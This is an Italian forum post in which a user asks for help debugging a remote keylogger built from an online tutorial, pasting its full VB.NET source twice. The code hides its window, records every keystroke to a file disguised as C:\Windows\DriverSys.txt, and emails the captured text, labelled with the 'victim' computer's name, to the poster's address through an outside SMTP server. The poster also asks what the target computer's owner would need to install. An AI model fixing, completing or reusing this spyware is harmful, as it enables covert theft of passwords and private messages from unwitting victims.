Salve ho seguito codesta guida http://www.sciax2.it/forum/visual-basic/come-creare-keylogger-remoto-479846.html e una volta completato tuti i passaggi non risultano errori vari... il problema che sorge è uno... non mi invia alcuna email, con alcun file...
Purtroppo non sono troppo bravo in ste cose percio potrei aver commesso qualche erroraccio io...
questo è il programma:
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Public rip As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Me.Visible = False
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.Visible = False
For i As Integer = 3 To 255
Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
Dim sw As StreamWriter
Dim ch As String
If GetAsyncKeyState(i) Then
ch = DirectCast(i, System.Windows.Forms.Keys).ToString
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If
sw.Write(ch)
sw.Flush()
sw.Close()
TextBox1.Text = TextBox1.Text + ch
If TextBox1.TextLength = 20 Then
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("d.ima1993@live.com", "xxxxxxx")
smtpServer.Port = 587
smtpServer.Host = "smtp.live.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("d.ima1993@live.com")
mail.To.Add("d.ima1993@live.com")
mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
mail.Body = TextBox1.Text
smtpServer.Send(mail)
rip = +1
Label4.Text = rip
textbox1.text = ""
End If
End If
Next
Label1.Text = TextBox1.TextLength
End Sub
Private Sub Timer1_Tick_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
End Sub
End Class
e un altra cosa... vorrei sapere cosa dovrebbe istallare l'altro possesso del computer... o come finalizzare tale programma...
Purtroppo non sono troppo bravo in ste cose percio potrei aver commesso qualche erroraccio io...
questo è il programma:
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Public rip As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Me.Visible = False
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.Visible = False
For i As Integer = 3 To 255
Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
Dim sw As StreamWriter
Dim ch As String
If GetAsyncKeyState(i) Then
ch = DirectCast(i, System.Windows.Forms.Keys).ToString
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If
sw.Write(ch)
sw.Flush()
sw.Close()
TextBox1.Text = TextBox1.Text + ch
If TextBox1.TextLength = 20 Then
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("d.ima1993@live.com", "xxxxxxx")
smtpServer.Port = 587
smtpServer.Host = "smtp.live.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("d.ima1993@live.com")
mail.To.Add("d.ima1993@live.com")
mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
mail.Body = TextBox1.Text
smtpServer.Send(mail)
rip = +1
Label4.Text = rip
textbox1.text = ""
End If
End If
Next
Label1.Text = TextBox1.TextLength
End Sub
Private Sub Timer1_Tick_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
End Sub
End Class
e un altra cosa... vorrei sapere cosa dovrebbe istallare l'altro possesso del computer... o come finalizzare tale programma...